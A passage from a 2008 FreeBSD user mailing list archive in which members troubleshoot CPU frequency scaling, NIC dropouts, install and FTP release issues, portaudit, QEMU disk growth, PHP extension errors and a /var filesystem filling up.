Another thing I noticed with "dmesg" is the following error (CPU supports Enhanced Speedstep, but is not recognized.): cpu0: on acpi0 ACPI Warning (tbutils-0243): Incorrect checksum in table [OEMB] - D, should be 8 [20070320] est0: on cpu0 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 61a4c2006004c20 device_attach: est0 attach returned 6 p4tcc0: on cpu0 cpu1: on acpi0 est1: on cpu1 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 61a4c2006004c20 device_attach: est1 attach returned 6 Why do I get this error? I found this problem with my machine after I looked at an article telling that the new 45nm Intel CPUs were idling at around 3-4W when Speedstep is decreasing their frequency. And I guess it means that I've been running my server at 1.25 GHz all the time since I installed it, which would explain why some compiling jobs were slow! Thanks Gabriel -- Gabriel Lavoie glavoie@gmail.com From xi at borderworlds.dk Mon Dec 8 10:59:20 2008 From: xi at borderworlds.dk (Christian Laursen) Date: Mon Dec 8 10:59:27 2008 Subject: install freebsd from inside another operating system In-Reply-To: <493D246C.80008@chamonix.reportlab.co.uk> (Robin Becker's message of "Mon\, 08 Dec 2008 13\:43\:08 +0000") References: <493D246C.80008@chamonix.reportlab.co.uk> Message-ID: Robin Becker writes: > I'm just wondering if it is possible to install FreeBSD from inside a > bootstrap operating system such as a knoppix or ubuntu preinstall? > > Reason I'm asking is that my boss is asking about getting another > commodity server using a provider that doesn't offer freebsd. We do > get KVM over IP however, and I assume that really clever people might > know how to handle this sort of thing if they have console access. With console access that shouldn't be too hard. My suggestion would be along the following lines: - Make a disk image with the FreeBSD installer using my iso2diskimage script at . - Add an entry to your GRUB configuration that will use memdisk from the syslinux package to load the disk image. - Reboot and select the newly created FreeBSD installer entry in GRUB. - Install FreeBSD The installer will run completely from RAM when booted so you can use the entire disk for FreeBSD. However, once sysinstall starts writing stuff to the disk you will no longer be able to boot the installer, so make sure to do it right the first time. :) -- Christian Laursen From fernando.apesteguia at gmail.com Mon Dec 8 11:20:50 2008 From: fernando.apesteguia at gmail.com (=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=) Date: Mon Dec 8 11:20:56 2008 Subject: FBSD 7.1 BETA2 and RTL8168/8111 problem In-Reply-To: <1bd550a00811301139r5f14f8bej9a80c3d30bd64d57@mail.gmail.com> References: <1227874986.00041844.1227863401@10.7.7.3> <49306C09.40308@next.online.no> <1bd550a00811301139r5f14f8bej9a80c3d30bd64d57@mail.gmail.com> Message-ID: <1bd550a00812081120r70841c06r7a8e3d7c77760719@mail.gmail.com> On Sun, Nov 30, 2008 at 8:39 PM, Fernando Apestegu?a wrote: > On Fri, Nov 28, 2008 at 11:09 PM, Tore Lund wrote: >> Fernando Apestegu?a wrote: >>> Hi all, >>> >>> I recently installed FreeBSD 7.1 BETA2 on my system. During >>> installation using FTP option, I could notice the following: >>> >>> After some random time (two, five or six minutes, for instance) the >>> installation stalled and sysinstall lost the connection. I was taken >>> back to the "Select FTP site" screen, and I had to configure my NIC >>> again. Then, the install resumed and I got a usable system (MINIMAL + >>> docs + manpages) >>> >>> But the problem persists. From time to time, it seems the kernel can't >>> see the NIC. It happens during normal operation and no message is >>> shown in /var/log/messages. ifconfig doesn't show my 're0' device, so >>> I can't run dhclient on it and I have to reboot. I have to say that >>> sometimes, even when I reboot, the NIC (RTL8168/8111 PCI Express) is >>> not present. >>> >>> This device works fine in the same computer with either Vista or >>> Fedora 9, though I have to say I had similar problems with earlier >>> versions of Fedora (device disappearing or not present after boot), >>> but after a kernel upgrade everything run smoothly. >>> >>> Does FreeBSD use the same driver than Linux does? Anybody else with >>> this problem? >>> >>> Thanks in advance. >> >> All I can say is that I have the same NIC, which is built into my Asus >> M2A-VM motherboard. I have used it since March 2008 with no problems at >> all. For the past three days I have been running 7.1-BETA2, also with >> no problems. I should like to provide more detail if that can be of any >> help to you. >> -- >> Tore >> > > Hi again, > > As Pegasus remarked, I can see two "PHY write failed" in dmesg. I did > a freebsd-update a couple of days ago and I haven't seen this issue so > far. I'll watch and report it should I get this error again. As I promissed I was watching, I thought the problem was gone, but yesterday I had to restart my computer a couple of times before I got my NIC working. The problem is still there but it seems minimized somehow (or maybe it was just luck that I didn't have this issue more often) I'm going to update to 7.1-BETA2-p1 today. I'll keep an eye on this problem and report it if I see it again. Cheers > > Cheers > >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" >> > From tajudd at gmail.com Mon Dec 8 12:22:47 2008 From: tajudd at gmail.com (Tim Judd) Date: Mon Dec 8 12:22:54 2008 Subject: install freebsd from inside another operating system In-Reply-To: <493D246C.80008@chamonix.reportlab.co.uk> References: <493D246C.80008@chamonix.reportlab.co.uk> Message-ID: On Mon, Dec 8, 2008 at 6:43 AM, Robin Becker wrote: > I'm just wondering if it is possible to install FreeBSD from inside a > bootstrap operating system such as a knoppix or ubuntu preinstall? > > Reason I'm asking is that my boss is asking about getting another commodity > server using a provider that doesn't offer freebsd. We do get KVM over IP > however, and I assume that really clever people might know how to handle > this sort of thing if they have console access. > -- > Robin Becker > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > google://depenguinator http://www.freebsd.org/doc/en/articles/remote-install/ I must be honest -- if you're looking to get a FreeBSD server without the provider offering it, and you have problems (such as an upgrade gone wrong) -- how will you recover the system? I don't have the comfortable warm and fuzzy feelings by doing this kind of install. Have fun with it though. --Tim From Kevin at RawFedDogs.net Mon Dec 8 17:44:15 2008 From: Kevin at RawFedDogs.net (Kevin Monceaux) Date: Mon Dec 8 17:44:21 2008 Subject: ISO Images/Releases/FTP Servers Message-ID: FreeBSD Fans, I'm experiencing irritation. Would someone have a long talk with whoever is responsible for the ISO images, release names, and/or the FTP servers, depending on where the root if this irritation lies? I've installed FreeBSD briefly a couple of times on my home desktop box. Recently I've been taking an install on vmware from the 7.1-BETA2 ISO, bootonly - installed via FTP, for a spin to jog my memory a bit in preparation to perform another install. All worked well under vmware. I didn't try zfs as I figured I'd just wait for the real install for that. After getting home from work today I started the install process. This is roughly how it went. I booted the 7.1-BETA2 ISO and wiped out my Gentoo installation. I sliced/partitioned my hard drives. I then fired up a fixit shell to go through the root on UFS plus everything else on ZFS procedures I had used the last time around. I tried to load zfs.ko and kldload said it didn't exist. ls verified that it did indeed exist, but kldload refused to load it. At this point I had wiped out the Gentoo install on the only functional PC I have in the house. Well, there's a Pentium MMX 200Mhz box in the closet with an ooooooooold Mandrake install on it but it's power supply fan tries to be difficult most of the time. After grumbling for a few moments I pulled out a 7.0-STABLE-200807 livefs CD I had and tried using it for the fixit shell. It complained about the versions not matching, but started the fixit shell and I was able to load zfs.ko and create my zfs pool and filesystems. I try to start the install, pick a ZFS server and it complains that it can't find release 7.1-BETA2 on the FTP server. I went blank on release naming schemes. I tried several things to no avail. So, I finally decide to start over and install from the 7.0-STABLE-200807 ISO I have handy. I get to the same point and it complains that it can't find release 7.0-STABLE-200807 on the FTP server. Fortunately after a few tries I was able to do a better job of jogging my poor memory and made the installer happy using 7.0-RELEASE as the release name. Would someone please: A. Keep the releases available on the FTP servers for a reasonable amount of time. and/or B. Add functionality to the installer to list the available releases if it can't find the release it's looking for. Kevin http://www.RawFedDogs.net http://www.WacoAgilityGroup.org Bruceville, TX Si hoc legere scis nimium eruditionis habes. Longum iter est per praecepta, breve et efficax per exempla!!! From khoogc at singnet.com.sg Mon Dec 8 19:01:06 2008 From: khoogc at singnet.com.sg (Richard KHOO Guan Chen) Date: Mon Dec 8 19:01:13 2008 Subject: portaudit Message-ID: <20081209103518.T1048@localhost.my.domain> I have recently installed 6.4 release and tried to do a portausidt -F. No go reply was that auditfile.tbz unavailable. Would be grateful for help Thanks From tajudd at gmail.com Mon Dec 8 19:48:48 2008 From: tajudd at gmail.com (Tim Judd) Date: Mon Dec 8 19:48:55 2008 Subject: ISO Images/Releases/FTP Servers In-Reply-To: References: Message-ID: On Mon, Dec 8, 2008 at 6:44 PM, Kevin Monceaux wrote: > FreeBSD Fans, > > I'm experiencing irritation. Would someone have a long talk with whoever > is responsible for the ISO images, release names, and/or the FTP servers, > depending on where the root if this irritation lies? > > > > I've installed FreeBSD briefly a couple of times on my home desktop box. > Recently I've been taking an install on vmware from the 7.1-BETA2 ISO, > bootonly - installed via FTP, for a spin to jog my memory a bit in > preparation to perform another install. All worked well under vmware. I > didn't try zfs as I figured I'd just wait for the real install for that. > After getting home from work today I started the install process. This is > roughly how it went. > > I booted the 7.1-BETA2 ISO and wiped out my Gentoo installation. I > sliced/partitioned my hard drives. I then fired up a fixit shell to go > through the root on UFS plus everything else on ZFS procedures I had used > the last time around. I tried to load zfs.ko and kldload said it didn't > exist. ls verified that it did indeed exist, but kldload refused to load > it. At this point I had wiped out the Gentoo install on the only functional > PC I have in the house. Well, there's a Pentium MMX 200Mhz box in the > closet with an ooooooooold Mandrake install on it but it's power supply fan > tries to be difficult most of the time. > > After grumbling for a few moments I pulled out a 7.0-STABLE-200807 livefs > CD I had and tried using it for the fixit shell. It complained about the > versions not matching, but started the fixit shell and I was able to load > zfs.ko and create my zfs pool and filesystems. I try to start the install, > pick a ZFS server and it complains that it can't find release 7.1-BETA2 on > the FTP server. I went blank on release naming schemes. I tried several > things to no avail. So, I finally decide to start over and install from the > 7.0-STABLE-200807 ISO I have handy. I get to the same point and it > complains that it can't find release 7.0-STABLE-200807 on the FTP server. > Fortunately after a few tries I was able to do a better job of jogging my > poor memory and made the installer happy using 7.0-RELEASE as the release > name. Would someone please: > > A. Keep the releases available on the FTP servers for a reasonable amount > of time. > > and/or > > B. Add functionality to the installer to list the available releases if > it can't find the release it's looking for. > > > > > > Kevin > http://www.RawFedDogs.net > http://www.WacoAgilityGroup.org > Bruceville, TX > So Kevin, your rant is completely based on BETAs, Snapshots, and probably RC's if we had any available. All three of those ARE NOT RELEASES. Those are come-n-go folders/directories on the ftp servers. Each release will stay on the sites and mirrors as long as they're in support (not EoL). If it bugs you so much that the Snapshots, BETAs, and RCs aren't constantly on the ftp servers, make your own local mirror on your own subnet. I'd recommend downloading the 7.0-RELEASE iso's and use that as a basis, until 7.1 is RELEASED, then use those as a source. I'm sorry to come down like this, but I find your rant unrooted and shaky. Good luck. From scrappy at hub.org Mon Dec 8 20:13:09 2008 From: scrappy at hub.org (Marc G. Fournier) Date: Mon Dec 8 20:13:16 2008 Subject: QEMU: increase image size with FreeBSD partitions ... Message-ID: <4CF66154353CD7ABCB17FB03@ganymede.hub.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have FreeBSD 7 running in a QEMU VM ... works like a charm, but I'm wondering if there is some way of *increasing* the size of the image beyond what I configured it for? I'm only finding stuff pertaining to NTFS/FAT32, but nothing about Unix in general, or FreeBSD specifically ... Is there any way of doing this, or do I have to build a new, larger img, and copy the data from diskA -> diskB, and reboot on diskB? Doable, but time consuming ... Thx - -- Marc G. Fournier Hub.Org Hosting Solutions S.A. (http://www.hub.org) Email . scrappy@hub.org MSN . scrappy@hub.org Yahoo . yscrappy Skype: hub.org ICQ . 7615664 -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk98FIACgkQ4QvfyHIvDvOHCQCgrJZtGmw3pOKA6t42fRoLhVJm mckAn1kn/in24sJFHSTKdM2LpaOFmWbd =PKOO -----END PGP SIGNATURE----- From Kevin at RawFedDogs.net Mon Dec 8 20:22:34 2008 From: Kevin at RawFedDogs.net (Kevin Monceaux) Date: Mon Dec 8 20:22:41 2008 Subject: ISO Images/Releases/FTP Servers In-Reply-To: References: Message-ID: On Mon, 8 Dec 2008, Tim Judd wrote: > So Kevin, your rant is completely based on BETAs, Snapshots, and probably > RC's if we had any available. > > All three of those ARE NOT RELEASES. > > Those are come-n-go folders/directories on the ftp servers. For the most part, fair enough. I do realize that a large part of my frustration was of my own doing. I'm not at all surprised that I got the error when trying to install from 7.0-STABLE-200807 as it's fairly old. But with 7.1-BETA2 I just downloaded and installed from that ISO less than a week ago. It's not unreasonable to expect it to sill be available, especially considering the fact that the "Upcoming Release: 7.1 - BETA 2" link is still on the front page of FreeBSD.org. Now that I'm far enough along in my install to be able access the site I see the link does now takes one to a download page with links to ISO images for 7.1-RC1. Kevin http://www.RawFedDogs.net http://www.WacoAgilityGroup.org Bruceville, TX Si hoc legere scis nimium eruditionis habes. Longum iter est per praecepta, breve et efficax per exempla!!! From sahil at tandon.net Mon Dec 8 20:38:40 2008 From: sahil at tandon.net (Sahil Tandon) Date: Mon Dec 8 20:38:55 2008 Subject: portaudit In-Reply-To: <20081209103518.T1048@localhost.my.domain> References: <20081209103518.T1048@localhost.my.domain> Message-ID: <20081209043837.GA5653@shepherd> Richard KHOO Guan Chen wrote: > I have recently installed 6.4 release and tried to do a portausidt -F. > No go reply was that auditfile.tbz unavailable. By default, portaudit fetches the database from www.FreeBSD.org/ports. What is the output of the following commands on your machine? % wget http://www.FreeBSD.org/ports/auditfile.tbz % fetch -1amp http://www.FreeBSD.org/ports/auditfile.tbz Have you created or modified /usr/local/etc/portaudit.conf? -- Sahil Tandon From smithi at nimnet.asn.au Mon Dec 8 22:35:09 2008 From: smithi at nimnet.asn.au (Ian Smith) Date: Mon Dec 8 22:35:17 2008 Subject: Intel Pentium Dual Core E5200 and Enhanced Speedstep In-Reply-To: <20081209030117.BDE66106575E@hub.freebsd.org> References: <20081209030117.BDE66106575E@hub.freebsd.org> Message-ID: <20081209163440.J94168@sola.nimnet.asn.au> On Mon, 8 Dec 2008 13:37:09 -0500 Gabriel Lavoie wrote: > I have a small problem/question about my Pentium Dual Core E5200. I > have this system running as a server since 1 month and I just noticed > that the CPU frequency may not be running at the highest speed. With > my other computer that has a Core 2 Duo, I noticed that under Windows > and Linux, the CPU frequency steps down at 2 GHz when the CPU is idle > and increases at 2.66 GHz when the CPU is under load. With this > FreeBSD Pentium Dual Core, I just noticed using sysctl that the > frequency after booting the system is at 1.25 GHz and it doesn't go > up automatically at 2.5 GHz under load. > > dev.cpu.0.freq: 1254 > dev.cpu.0.freq_levels: 2508/-1 2194/-1 1881/-1 1567/-1 1254/-1 940/-1 > 627/-1 313/-1 > > If I do "sysctl dev.cpu.0.freq=2508", the frequency gets changed: > > [root@headless /home/wildchild]# sysctl dev.cpu.0.freq=2508 > dev.cpu.0.freq: 1254 -> 2508 > [root@headless /home/wildchild]# sysctl -a | grep cpu.0.freq > dev.cpu.0.freq: 2508 > dev.cpu.0.freq_levels: 2508/-1 2194/-1 1881/-1 1567/-1 1254/-1 940/-1 > 627/-1 313/-1 > > Why isn't the frequency isn't increased automatically under load? And > why is it at 1.254 GHz after boot and not at the maximum frequency? It seems you are not running powerd, which is what monitors the load and adjusts frequency. Add powerd_enable="YES" to rc.conf and either reboot or just run '/etc/rc.d/powerd start' (or run powerd -v in a terminal to verify that it's shifting freqs according to your load requirements) Speculation on the second matter below .. > Another thing I noticed with "dmesg" is the following error (CPU > supports Enhanced Speedstep, but is not recognized.): Which FreeBSD version? (uname -a) > cpu0: on acpi0 > ACPI Warning (tbutils-0243): Incorrect checksum in table [OEMB] - D, > should be 8 [20070320] This looks ungood. You maybe should quote the earlier dmesgs re ACPI too. This sounds like an issue to take to the acpi@freebsd.org list. > est0: on cpu0 > est: CPU supports Enhanced Speedstep, but is not recognized. > est: cpu_vendor GenuineIntel, msr 61a4c2006004c20 > device_attach: est0 attach returned 6 6 = fail. Either bad vendor ACPI (you've not mentioned what vendor or model) or maybe an older FreeBSD version than would recognise your cpu revision; you may need to run 7-STABLE or a 7.1 beta; dunno about 6.4. Either way, EST isn't functioning, or you'd have a larger range of freqs available than these eight, and milliWatt figures instead of those -1. There's no sign of 2.66GHz either, if that's expected? > p4tcc0: on cpu0 p4tcc attached ok. That's what provides the 8 freqs you have, in 12.5% steps from 8/8 downto 1/8 of the base freq. While this helps control temperature it's not as effective as EST (which also modifies cpu core voltage) for managing power use, so you need to locate that problem. > cpu1: on acpi0 > est1: on cpu1 > est: CPU supports Enhanced Speedstep, but is not recognized. > est: cpu_vendor GenuineIntel, msr 61a4c2006004c20 > device_attach: est1 attach returned 6 Ditto, and presumably you have a p4tcc1 as as well? > Why do I get this error? > > I found this problem with my machine after I looked at an article > telling that the new 45nm Intel CPUs were idling at around 3-4W when > Speedstep is decreasing their frequency. And I guess it means that > I've been running my server at 1.25 GHz all the time since I > installed it, which would explain why some compiling jobs were slow! Sure. Why it starts at 50% I don't know, unless something thinks there is a temperature problem? Anyway, you need powerd, and you likely need to check the acpi@ list about getting your EST working .. you may even need a BIOS upgrade or hacking on your ACPI ASL, but hopefully not .. And post them more details; at least the full /var/run/dmesg.boot and the results of 'sysctl hw.acpi dev.cpu' .. saving rounds of questions. cheers, Ian From perryh at pluto.rain.com Mon Dec 8 23:37:19 2008 From: perryh at pluto.rain.com (perryh@pluto.rain.com) Date: Mon Dec 8 23:37:26 2008 Subject: ISO Images/Releases/FTP Servers In-Reply-To: References: Message-ID: <493e1a6c.2YG1fe1MvWsUnWYI%perryh@pluto.rain.com> > > B. Add functionality to the installer to list the available > > releases if it can't find the release it's looking for. ... > So Kevin, your rant is completely based on BETAs, Snapshots, > and probably RC's if we had any available. > > All three of those ARE NOT RELEASES. And this somehow makes item B unreasonable? From zszalbot at gmail.com Mon Dec 8 23:58:14 2008 From: zszalbot at gmail.com (Zbigniew Szalbot) Date: Mon Dec 8 23:58:21 2008 Subject: Unable to load dynamic library '/usr/local/lib/php/20060613/gd.so Message-ID: <94136a2c0812082358i31788448k4fde9fe555efb0cc@mail.gmail.com> Hi, I have upgraded php to 5.2.8 because of security notices and then got this problem. PHP Warning: PHP Startup: Unable to load dynamic library '/usr/local/lib/php/20060613/gd.so' - /usr/local/lib/php/20060613/gd.so: Undefined symbol "gdImageCreateFromXpm" in Unknown on line 0 It comes from one of the php scripts run by cron. I googled and found out Roberto's advice what to do (in short reinstall php5-gd): http://lists.freebsd.org/pipermail/freebsd-questions/2007-May/149974.html It seems to have solved this issue. I am mentioning it in case someone runs across the same problem. Have a nice day! -- Zbigniew Szalbot www.faitrade.net.pl From ivoras at freebsd.org Tue Dec 9 01:16:03 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Tue Dec 9 01:16:13 2008 Subject: QEMU: increase image size with FreeBSD partitions ... In-Reply-To: <4CF66154353CD7ABCB17FB03@ganymede.hub.org> References: <4CF66154353CD7ABCB17FB03@ganymede.hub.org> Message-ID: Marc G. Fournier wrote: > > I have FreeBSD 7 running in a QEMU VM ... works like a charm, but I'm wondering > if there is some way of *increasing* the size of the image beyond what I > configured it for? I'm only finding stuff pertaining to NTFS/FAT32, but > nothing about Unix in general, or FreeBSD specifically ... > > Is there any way of doing this, or do I have to build a new, larger img, and > copy the data from diskA -> diskB, and reboot on diskB? Doable, but time > consuming ... I don't think there's anything automatic but you can grow the virtual disk, then modify the last partition size by hand, then use growfs. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 252 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081209/11a45ad9/signature.pgp From unga888 at yahoo.com Tue Dec 9 01:34:07 2008 From: unga888 at yahoo.com (Unga) Date: Tue Dec 9 01:34:14 2008 Subject: FreeBSD cannot power down In-Reply-To: <706654.84147.qm@web57001.mail.re3.yahoo.com> Message-ID: <717416.69815.qm@web57004.mail.re3.yahoo.com> --- On Tue, 12/2/08, Unga wrote: > From: Unga > Subject: FreeBSD cannot power down > To: freebsd-questions@freebsd.org > Date: Tuesday, December 2, 2008, 11:22 PM > Hi all > > After a kernel recompilation on i386 RELENG_7 (not the > latest), I cannot power down the machine. > > kldstat shows acpi.ko is loaded. > > It used to switch off but now the "shutdown -p > now" halts the system with following messages: > The operating system has halted. > Please press any key to reboot. > > What else could I check to identify the cause? > > Appreciate your ideas on this. > I found /dev/acpi is missing. I may have sure made a mistake somewhere. What is the proper fix to get the /dev/acpi? Best regards Unga From rhlebadm at yandex.ru Tue Dec 9 02:12:36 2008 From: rhlebadm at yandex.ru (=?KOI8-R?B?6czY0Q==?=) Date: Tue Dec 9 02:12:44 2008 Subject: Strange behaviour of the filesystem on FreeBSD-5.5 Message-ID: <242941228816278@webmail54.yandex.ru> Hello. -- I have a trouble with /var filesystem on FreeBSD 5.5-RELEASE-p20 (upgraded from 5.2 to 5.3, and then to 5.5 some days ago): 'df -h' shows: Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1d 248M 138M 90M 61% /var 'du -s /var' shows: 28M /var I'm sure, that there can not be 62Mb of technical info on such small partition. So, probably there is a bug in soft-updates, or some another thing, that i can't understand. Free space on /var reduces with time, and after three days there are no free inodes. But after i reboot my machine (and background fsck makes it's job), things are good again, du and df are in agreement about sizes of filesystems. Also i tried to verify, that there are no files, which are deleted, but still occupy place in filesystem (i.e., when some process still use it's filehandle). The output of 'lsof +D /var' shows *only* existent files on /var filesystem. Can anybody, please, give me some advice about how to fix this VERY annoying problem, since this FreeBSD box is our enterprise's router, and i sometimes must go to office and reboot it even on holidays. Maybe, reinstalling everything from scratch would be the simplest thing to do, but i still hope, that somebody can tell me how to fix everything 'in place'. -- Ilya. From brendan.kennedy at gmail.com Tue Dec 9 02:20:09 2008 From: brendan.kennedy at gmail.com (Brendan Kennedy) Date: Tue Dec 9 02:20:16 2008 Subject: [FreeBSD 6.2] _IOWR macro Message-ID: Hi All, I am using the _IOWR macro in a piece of code. Although my structure gets copied to the kernel ok (the states etc are preserved), if I write back to that structure, the changes are not seen in user space. Is there a known bug with this macro for 6.2 and is it fixed in a later release? Best Regards, Brendan From zszalbot at gmail.com Tue Dec 9 02:42:18 2008 From: zszalbot at gmail.com (Zbigniew Szalbot) Date: Tue Dec 9 02:42:26 2008 Subject: removing a php5-pcre extension Message-ID: <94136a2c0812090242k2ee688bbx8015efb2c5c1fafd@mail.gmail.com> Hello, Now that pcre is included in the base installation, how do I remove it? $ pkg_delete -nv php5-pcre-5.2.6_2 pkg_delete: package 'php5-pcre-5.2.6_2' is required by these other packages and may not be deinstalled: pear-1.7.2 pear-Auth-1.6.1 pear-Auth_SASL-1.0.2 pear-DB-1.7.13,1 pear-Log-1.10.1 pear-Mail_Mime-1.5.2,1 pear-Mail_mimeDecode-1.5.0 pear-Net_SMTP-1.3.0 pear-Net_Socket-1.0.8 pear-Pager-2.4.6 pecl-filter-0.11.0 php5-extensions-1.2 phpMyAdmin-3.1.0 smarty-2.6.19 pkg_delete: 1 package deletion(s) failed Am I safe just deleting it? Or do I have to rebuild all the above listed ports? Leaving it as is is probably not a good idea... Thanks a lot for your input. If possible, I'd like to keep my system clean without unnecessary ports. -- Zbigniew Szalbot www.faitrade.net.pl www.slowo.pl From ivoras at freebsd.org Tue Dec 9 02:45:19 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Tue Dec 9 02:45:28 2008 Subject: removing a php5-pcre extension In-Reply-To: <94136a2c0812090242k2ee688bbx8015efb2c5c1fafd@mail.gmail.com> References: <94136a2c0812090242k2ee688bbx8015efb2c5c1fafd@mail.gmail.com> Message-ID: Zbigniew Szalbot wrote: > Hello, > > Now that pcre is included in the base installation, how do I remove it? > > $ pkg_delete -nv php5-pcre-5.2.6_2 > pkg_delete: package 'php5-pcre-5.2.6_2' is required by these other packages > and may not be deinstalled: > pear-1.7.2 > pear-Auth-1.6.1 > pear-Auth_SASL-1.0.2 > pear-DB-1.7.13,1 > pear-Log-1.10.1 > pear-Mail_Mime-1.5.2,1 > pear-Mail_mimeDecode-1.5.0 > pear-Net_SMTP-1.3.0 > pear-Net_Socket-1.0.8 > pear-Pager-2.4.6 > pecl-filter-0.11.0 > php5-extensions-1.2 > phpMyAdmin-3.1.0 > smarty-2.6.19 > pkg_delete: 1 package deletion(s) failed > > Am I safe just deleting it? Or do I have to rebuild all the above listed ports? > Leaving it as is is probably not a good idea... Presumably, if you delete it, the listed packages will stop working. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 252 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081209/b3fae475/signature.pgp From ertr1013 at student.uu.se Tue Dec 9 02:45:28 2008 From: ertr1013 at student.uu.se (Erik Trulsson) Date: Tue Dec 9 02:45:53 2008 Subject: Strange behaviour of the filesystem on FreeBSD-5.5 In-Reply-To: <242941228816278@webmail54.yandex.ru> References: <242941228816278@webmail54.yandex.ru> Message-ID: <20081209104524.GA18183@owl.midgard.homeip.net> On Tue, Dec 09, 2008 at 12:51:18PM +0300, ???? wrote: > Hello. > -- > I have a trouble with /var filesystem on FreeBSD 5.5-RELEASE-p20 (upgraded from 5.2 to 5.3, and then to 5.5 some days ago): > 'df -h' shows: > Filesystem Size Used Avail Capacity Mounted on > /dev/ad0s1d 248M 138M 90M 61% /var > 'du -s /var' shows: > 28M /var > I'm sure, that there can not be 62Mb of technical info on such small > partition. So, probably there is a bug in soft-updates, or some another > thing, that i can't understand. Free space on /var reduces with time, and > after three days there are no free inodes. But after i reboot my machine > (and background fsck makes it's job), things are good again, du and df are > in agreement about sizes of filesystems. > > Also i tried to verify, that there are no files, which are deleted, but > still occupy place in filesystem (i.e., when some process still use it's > filehandle). The output of 'lsof +D /var' shows *only* existent files on > /var filesystem. Are you sure that lsof can determine the correct directory for deleted files that still exist? They do not reside in any directory any longer after all. I strongly suspect that your problem is indeed files that have been deleted but are still in use by some process (all the symptoms fit), but that your method of finding such files is insufficient. Reading the lsof(8) manpage makes me think that 'lsof +aL1 /var' will list the deleted-but-still-existing files you are interested in. (Given as an example in the description of the +L option.) > Can anybody, please, give me some advice about how to fix this VERY > annoying problem, since this FreeBSD box is our enterprise's router, and i > sometimes must go to office and reboot it even on holidays. Maybe, > reinstalling everything from scratch would be the simplest thing to do, > but i still hope, that somebody can tell me how to fix everything 'in > place'. -- Erik Trulsson ertr1013@student.uu.se From zszalbot at gmail.com Tue Dec 9 03:00:45 2008 From: zszalbot at gmail.com (Zbigniew Szalbot) Date: Tue Dec 9 03:00:52 2008 Subject: removing a php5-pcre extension In-Reply-To: <991123400812090247q12afdaaal958ab459d340cf50@mail.gmail.com> References: <94136a2c0812090242k2ee688bbx8015efb2c5c1fafd@mail.gmail.com> <991123400812090247q12afdaaal958ab459d340cf50@mail.gmail.com> Message-ID: <94136a2c0812090300k5fb9bf9dgd1d4c1b86b3bf593@mail.gmail.com> Hello, > BTW, wait till php-5.2.8 to do this. I read somewhere that 5.2.7 has > security issues, but maybe you know better than I do. Thanks but I know about it. That's why I used ports which have 5.2.8. :) -- Zbigniew Szalbot www.faitrade.net.pl www.slowo.pl From zszalbot at gmail.com Tue Dec 9 03:12:12 2008 From: zszalbot at gmail.com (Zbigniew Szalbot) Date: Tue Dec 9 03:12:19 2008 Subject: removing a php5-pcre extension In-Reply-To: References: <94136a2c0812090242k2ee688bbx8015efb2c5c1fafd@mail.gmail.com> Message-ID: <94136a2c0812090312w3898a493vff0e633cd3a32f6b@mail.gmail.com> Hello, On Tue, Dec 9, 2008 at 11:45, Ivan Voras wrote: > Zbigniew Szalbot wrote: >> Hello, >> >> Now that pcre is included in the base installation, how do I remove it? >> >> $ pkg_delete -nv php5-pcre-5.2.6_2 >> pkg_delete: package 'php5-pcre-5.2.6_2' is required by these other packages >> and may not be deinstalled: >> pear-1.7.2 >> pear-Auth-1.6.1 >> pear-Auth_SASL-1.0.2 >> pear-DB-1.7.13,1 >> pear-Log-1.10.1 >> pear-Mail_Mime-1.5.2,1 >> pear-Mail_mimeDecode-1.5.0 >> pear-Net_SMTP-1.3.0 >> pear-Net_Socket-1.0.8 >> pear-Pager-2.4.6 >> pecl-filter-0.11.0 >> php5-extensions-1.2 >> phpMyAdmin-3.1.0 >> smarty-2.6.19 >> pkg_delete: 1 package deletion(s) failed >> >> Am I safe just deleting it? Or do I have to rebuild all the above listed ports? >> Leaving it as is is probably not a good idea... > > Presumably, if you delete it, the listed packages will stop working. One more thought - I commented out the pcre extension in the ini file and restarted apache after which everything seems to be working fine. So I wonder if I am safe to delete it or if not, then how would you advise me to proceed to keep the system clean. Many thanks! -- Zbigniew Szalbot www.faitrade.net.pl www.slowo.pl From nightrecon at verizon.net Tue Dec 9 03:22:32 2008 From: nightrecon at verizon.net (Michael Powell) Date: Tue Dec 9 03:22:43 2008 Subject: removing a php5-pcre extension References: <94136a2c0812090242k2ee688bbx8015efb2c5c1fafd@mail.gmail.com> Message-ID: Ivan Voras wrote: > Zbigniew Szalbot wrote: >> Hello, >> >> Now that pcre is included in the base installation, how do I remove it? >> >> $ pkg_delete -nv php5-pcre-5.2.6_2 >> pkg_delete: package 'php5-pcre-5.2.6_2' is required by these other >> packages and may not be deinstalled: >> pear-1.7.2 >> pear-Auth-1.6.1 >> pear-Auth_SASL-1.0.2 >> pear-DB-1.7.13,1 >> pear-Log-1.10.1 >> pear-Mail_Mime-1.5.2,1 >> pear-Mail_mimeDecode-1.5.0 >> pear-Net_SMTP-1.3.0 >> pear-Net_Socket-1.0.8 >> pear-Pager-2.4.6 >> pecl-filter-0.11.0 >> php5-extensions-1.2 >> phpMyAdmin-3.1.0 >> smarty-2.6.19 >> pkg_delete: 1 package deletion(s) failed >> >> Am I safe just deleting it? Or do I have to rebuild all the above listed >> ports? Leaving it as is is probably not a good idea... > > Presumably, if you delete it, the listed packages will stop working. I just ran into this yesterday with a portupgrade. I just did pkg_deinstall -f (pkg_delete -f does the same in lieu) php5-pcre and so far haven't had any problems. I also looked at phpinfo(); and it still is containing a listing for pcre support. 